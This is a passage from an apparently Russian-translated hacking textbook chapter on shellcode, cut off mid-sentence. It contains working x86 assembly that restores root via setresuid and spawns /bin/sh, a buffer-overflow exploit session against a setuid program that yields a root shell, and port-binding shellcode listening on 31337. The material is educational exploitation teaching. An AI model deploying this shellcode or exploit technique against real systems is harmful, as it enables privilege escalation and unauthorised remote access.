void lowered_privilege_function(unsigned char *ptr) {
char buffer[50];
seteuid(5); // Снизить права до пользователя games.
strcpy(buffer, ptr);
3360x500 Шелл-код (код оболочки)
}
int main(int argc, char *argv[]) {
if (argc > 0)
lowered_privilege_function(argv[1]);
}
Несмотря на то что скомпилированная программа выполняется с фла- гом setuid root, ее права сбрасываются до пользователя games, прежде чем сможет выполниться шелл-код. В результате будет запущена обо- лочка для пользователя games без прав доступа суперпользователя.
reader@hacking:/booksrc $ gcc -o drop_privs drop_privs.c reader@hacking:/booksrc $ sudo chown root ./drop_privs; sudo chmod u+s ./
drop_privs reader@hacking:/booksrc $ export SHELLCODE=$(cat tiny_shell)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff9cb reader@hacking:/booksrc $ ./drop_privs $(perl -e ‘print “\xcb\xf9\xff\
xbf”x40’)
sh-3.2$ whoami games sh-3.2$ id uid=999(reader) gid=999(reader) euid=5(games)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),
46(plugdev),104(scanner),112(netdev),113(lpadmin),115(powerdev),117(admin),
999(reader)
sh-3.2$
К счастью, легко восстановить права суперпользователя, выполнив специальный системный вызов в начале нашего шелл-кода. Лучшие возможности для этого представляет системный вызов setresuid(), ко- торый задает фактический, исполнительный и сохраненный ID поль- зователя. Номер вызова и соответствующая страница руководства при- ведены ниже.
reader@hacking:/booksrc $ grep -i setresuid /usr/include/asm-i386/unistd.h
#define __NR_setresuid 164#define __NR_setresuid32 208
reader@hacking:/booksrc $ man 2 setresuid
SETRESUID(2) Руководство программиста Linux SETRESUID(2)
ИМЯ
setresuid, setresgid – задать фактический,
эффективный и сохраненный ID пользователя или группы
СИНТАКСИС
#define _GNU_SOURCE
#include
int setresuid(uid_t ruid, uid_t euid, uid_t suid);
int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
0x530 Шелл-код для запуска оболочки
337
ОПИСАНИЕ
setresuid() задает фактический, эффективный и сохраненный
ID пользователя для текущего процесса.
Следующий шелл-код вызывает setresuid() для восстановления прав суперпользователя перед запуском оболочки.
priv_shell.s
BITS 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; Обнулить eax.
xor ebx, ebx ; Обнулить ebx.
xor ecx, ecx ; Обнулить ecx.
xor edx, edx ; Обнулить edx.
mov al, 0xa4 ; 164 (0xa4) для системного вызова 164.
int 0x80 ; setresuid(0, 0, 0) – восстановить все права root.
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; На всякий случай еще раз обнулить eax.
mov al, 11 ; Системный вызов 11
push ecx ; Протолкнуть нули конца строки.
push 0x68732f2f ; Протолкнуть в стек “//sh”.
push 0x6e69622f ; Протолкнуть в стек “/bin”.
mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
push ecx ; Протолкнуть в стек 32-разрядный нулевой указатель.
mov edx, esp ; Это пустой массив для envp.
push ebx ; Протолкнуть в стек адрес строки.
mov ecx, esp ; Это массив argv с указателем строки.
int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])
Таким образом, даже для программы, выполняемой с пониженными правами, можно восстановить эти права в эксплойте. Следующий лис- тинг подтверждает это.
reader@hacking:/booksrc $ nasm priv_shell.s reader@hacking:/booksrc $ export SHELLCODE=$(cat priv_shell)
reader@hacking:/booksrc $ ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff9bf reader@hacking:/booksrc $ ./drop_privs $(perl -e ‘print “\xbf\xf9\xff\
xbf”x40’)
sh-3.2# whoami root sh-3.2# id uid=0(root) gid=999(reader)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video
),46(plugdev),104(scanner),112(netdev),113(lpadmin),115(powerdev),117(adm in),999(reader)
sh-3.2#
3380x500 Шелл-код (код оболочки)
0x532 Еще корочеМожно урезать этот шелл-код еще на несколько байт. В
x86 есть одно- байтная команда cdq (от
convert doubleword to quadword – преобразовать двойное слово в четверное). У нее нет операндов, и число, взятое из реги- стра EAX, она расширяет в регистры EDX и EAX. Эти регистры хранят
32-разрядные двойные слова, а для хранения 64-разрядного четверно- го слова нужно два таких регистра. Преобразование состоит в том, что знаковый разряд распространяется с 32-разрядного числа на 64-раз- рядное. Это означает, что если знаковый разряд в EAX равен 0, коман- да cdq обнулит регистр EDX. Чтобы обнулить регистр EDX с помощью xor
,
нужно два байта; поэтому, если в EAX уже 0, применение команды cdq для обнуления EDX сократит один байт: вместо
31 D2 xor edx,edx получится
99 cdq
Еще один байт можно сократить, если по-умному работать со стеком.
Стек выравнивается по 32-разрядной границе, поэтому при протал- кивании в стек одного байта он будет выровнен по двойному слову.
При чтении этого числа из стека его знак расширяется, заполняя весь регистр. Команды, которые проталкивают байт в стек, а потом счи- тывают его обратно в регистр, занимают три байта, тогда как обнуле- ние регистра командой xor и запись в него одного байта занимают че- тыре байта:
31 C0 xor eax,eax
B0 0B mov al,0xb вместо
6A 0B push byte +0xb
58 pop eax
Эти хитрости (выделены полужирным) использованы в следующем ли- стинге шелл-кода. Он выполняет те же функции, что и код, описанный в предыдущих разделах.
shellcode.sBITS 32
; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; Обнулить eax.
xor ebx, ebx ; Обнулить ebx.
xor ecx, ecx ; Обнулить ecx.
cdq ; Обнулить edx с помощью знакового разряда eax. mov BYTE al, 0xa4; syscall 164 (0xa4)
int 0x80 ; setresuid(0, 0, 0) - восстановить все права root.
0x540 Шелл-код с привязкой к порту 339; execve(const char *filename, char *const argv [], char *const envp[])
push BYTE 11 ; Протолкнуть 11 в стек. pop eax ; Вытолкнуть dword 11 в eax push ecx ; Протолкнуть нули конца строки.
push 0x68732f2f ; Протолкнуть в стек “//sh”.
push 0x6e69622f ; Протолкнуть в стек “/bin”.
mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
push ecx ; Протолкнуть в стек 32-разрядный нулевой указатель.
mov edx, esp ; Это пустой массив для envp.
push ebx ; Протолкнуть в стек адрес строки.
mov ecx, esp ; Это массив argv с указателем строки.
int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL]).
Синтаксис для проталкивания в стек одного байта предполагает объ- явление размера. Допускаются объявления BYTE для одного байта, WORD для двух байт и DWORD для четырех байт. Размер может
косвенно опреде- ляться размером регистра, поэтому проталкивание в стек AL подразу- мевает размер BYTE. Не всегда обязательно указывать размер, но вреда это не причинит, а чтение облегчит.
0x540 Шелл-код с привязкой к портуДля эксплойта удаленных программ тот шелл-код, который мы писа- ли до сего времени, непригоден. Внедренный шелл-код должен пере- дать по сети интерактивное приглашение root. Шелл-код с привязкой к порту привяжет оболочку к сетевому порту и будет ждать на нем се- тевых соединений. В предыдущей главе мы применяли такой шелл- код для эксплойта сервера
tinyweb. Следующий код C привязывается к порту 31337 и ждет соединения TCP .
bind_port.c#include
#include
#include
#include
#include
int main(void) {
int sockfd, new_sockfd; // Слушать на sock_fd, новое соединение на new_fd struct sockaddr_in host_addr, client_addr; // Адресные данные socklen_t sin_size;
int yes=1;
sockfd = socket(PF_INET, SOCK_STREAM, 0);
host_addr.sin_family = AF_INET; // Порядок байтов на узле host_addr.sin_port = htons(31337); // Short в сетевом порядке байтов host_addr.sin_addr.s_addr = INADDR_ANY; // Автоматически записать мой IP.
memset(&(host_addr.sin_zero), ‘\0’, 8); // Обнулить остаток структуры.
3400x500 Шелл-код (код оболочки) bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
listen(sockfd, 4);
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
}
Эти знакомые функции сокетов можно выполнить с помощью един- ственного системного вызова Linux с именем socketcall(). Номер это- го вызова 102, а страница руководства выглядит несколько загадочно.
reader@hacking:/booksrc $ grep socketcall /usr/include/asm-i386/unistd.h
#define __NR_socketcall 102
reader@hacking:/booksrc $ man 2 socketcall
IPC(2) Руководство программиста Linux IPC(2)
ИМЯ
socketcall – вызовы системы сокетов
СИНТАКСИС
int socketcall(int call, unsigned long *args);
ОПИСАНИЕ
socketcall() - общая точка входа ядра для обращений к системе сокетов.
Аргумент call определяет, какую функцию сокетов выполнить. args указывает на блок,
содержащий фактические аргументы, которые передаются дальше соответствующему вызову.
Программа пользователя должна вызывать соответствующие функции по их обычным именам. О существовании socketcall()
нужно знать только тем, кто реализует стандартные библиотеки или работает над ядром.
Допустимые номера вызовов для первого аргумента перечислены во включаемом файле
linux/net.h.
Фрагмент /usr/include/linux/net.h#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
0x540 Шелл-код с привязкой к порту
341
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
Таким образом, для системных вызовов функций сокетов в Linux через socketcall()
в EAX всегда находится 102, в EBX содержится тип вызо- ва сокета, а в ECX – указатель на аргументы вызова. Вызовы достаточ- но просты, но в некоторых из них нужна структура sockaddr, которую должен создать шелл-код. Запуск скомпилированного кода C в отлад- чике – самый простой способ узнать, как выглядит эта структура в па- мяти.
reader@hacking:/booksrc $ gcc -g bind_port.c reader@hacking:/booksrc $ gdb -q ./a.out
Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
(gdb) list 18 13 sockfd = socket(PF_INET, SOCK_STREAM, 0);
14 15 host_addr.sin_family = AF_INET; // Порядок байтов на узле.
16 host_addr.sin_port = htons(31337); // Short в сетевом порядке
// байтов.
17 host_addr.sin_addr.s_addr = INADDR_ANY; // Автоматически записать
// мой IP.
18 memset(&(host_addr.sin_zero), ‘\0’, 8); // Обнулить остаток
// структуры.
19 20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
21 22 listen(sockfd, 4);
(gdb) break 13
Breakpoint 1 at 0x804849b: file bind_port.c, line 13.
(gdb) break 20
Breakpoint 2 at 0x80484f5: file bind_port.c, line 20.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, main () at bind_port.c:13 13 sockfd = socket(PF_INET, SOCK_STREAM, 0);
(gdb) x/5i $eip
0x804849b : mov DWORD PTR [esp+8],0x0 0x80484a3 : mov DWORD PTR [esp+4],0x1 0x80484ab : mov DWORD PTR [esp],0x2 0x80484b2 : call 0x8048394
0x80484b7 : mov DWORD PTR [ebp-12],eax
(gdb)
Первая точка останова задана прямо перед вызовом socket(), потому что нужно проверить значения PF_INET и SOCK_STREAM. Все три аргумен- та проталкиваются в стек (но командами mov) в обратном порядке. В та- ком случае PF_INET имеет значение 2, а SOCK_STREAM – 1.
(gdb) cont
Continuing.
3420x500 Шелл-код (код оболочки)
Breakpoint 2, main () at bind_port.c:20 20 bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr));
(gdb) print host_addr
$1 = {sin_family = 2, sin_port = 27002, sin_addr = {s_addr = 0},
sin_zero = “\000\000\000\000\000\000\000”}
(gdb) print sizeof(struct sockaddr)
$2 = 16
(gdb) x/16xb &host_addr
0xbffff780:
0x02 0x00 0x7a 0x69 0x00 0x00 0x00 0x000xbffff788: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
(gdb) p /x 27002
$3 = 0x697a
(gdb) p 0x7a69
$4 = 31337
(gdb)
Следующая точка останова встретится после того, как структура sock- addr будет заполнена данными. Отладчик сумеет декодировать элемен- ты структуры при выводе host_addr, но при этом
вы должны сообра- зить, что порт хранится в сетевом порядке байтов. Элементы sin_family и sin_port представляют собой слова, за которыми следует адрес разме- ром DWORD. В данном случае адрес равен 0, что означает возможность ис- пользовать для связывания любой адрес. Остальные восемь байт – это свободное место в структуре. Вся важная информация хранится в пер- вых восьми байтах (выделены полужирным).
Следующие команды ассемблера выполняют все необходимые вызо- вы сокетов, чтобы привязать порт 31337 и принимать соединения TCP.
Структура sockaddr и массивы аргументов создаются путем проталки- вания их значений в стек в обратном порядке и последующего копиро- вания ESP в ECX. Последние восемь байт структуры sockaddr не пишут- ся в стек, потому что они не используются. На этом месте в стеке ока- жутся какие-то случайные байты, что нам безразлично.
bind_port.sBITS 32
; s = socket(2, 1, 0)
push BYTE 0x66 ; С сокетами работает системный вызов 102 (0x66).
pop eax cdq ; Обнулить edx для использования как нулевого DWORD.
xor ebx, ebx ; ebx содержит тип вызова сокетов.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Построить массив arg : { protocol = 0,
push BYTE 0x1 ; (в обратном порядке) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = указатель на массив аргументов int 0x80 ; После системного вызова в eax – дескриптор файла сокета.
0x540 Шелл-код с привязкой к порту
343 mov esi, eax ; Сохранить дескриптор файла сокета в esi.
; bind(s, [2, 31337, 0], 16)
push BYTE 0x66 ; Вызов сокетов (системный вызов 102)
pop eax inc ebx ; ebx = 2 = SYS_BIND = bind()
push edx ; Построить структуру sockaddr: INADDR_ANY = 0
push WORD 0x697a ; (в обратном порядке) PORT = 31337
push WORD bx ; AF_INET = 2
mov ecx, esp ; ecx = указатель на структуру сервера push BYTE 16 ; argv: { sizeof(структура) = 16,
push ecx ; указатель на структуру,
push esi ; дескриптор файла сокета}
mov ecx, esp ; ecx = массив аргументов int 0x80 ; eax = 0 при успехе
; listen(s, 0)
mov BYTE al, 0x66 ; Вызов сокетов (системный вызов 102)
inc ebx inc ebx ; ebx = 4 = SYS_LISTEN = listen()
push ebx ; argv: { backlog = 4,
push esi ; дескриптор файла сокета }
mov ecx, esp ; ecx = массив аргументов int 0x80
; c = accept(s, 0, 0)
mov BYTE al, 0x66 ; Вызов сокетов (системный вызов 102)
inc ebx ; ebx = 5 = SYS_ACCEPT = accept()
push edx ; argv: { socklen = 0,
push edx ; sockaddr ptr = NULL,
push esi ; дескриптор файла сокета }
mov ecx, esp ; ecx = массив аргументов int 0x80 ; eax = дескриптор файла сокета соединения
После сборки и применения в эксплойте этот шелл-код выполнит привязку к порту 31337 и станет ждать входящих соединений. По- сле принятия соединения дескриптор файла нового сокета помещает- ся в EAX, что выполняется в конце кода. Польза будет, когда мы при- соединим сюда шелл-код, запускающий оболочку, написанную нами ранее. К счастью, стандартные дескрипторы файла весьма облегчают такое слияние.
0x541 Дублирование стандартных дескрипторов файлаСтандартные потоки ввода, вывода и ошибок – это три стандартных де- скриптора файла, применяемые в программах, где требуется стандарт- ный ввод/вывод. Сокеты тоже представляют собой дескрипторы фай- ла, позволяющие выполнять чтение и запись. Если заменить стандарт- ные потоки ввода, вывода и ошибок запускаемой оболочки на дескрип- тор файла подключенного сокета, оболочка станет записывать в этот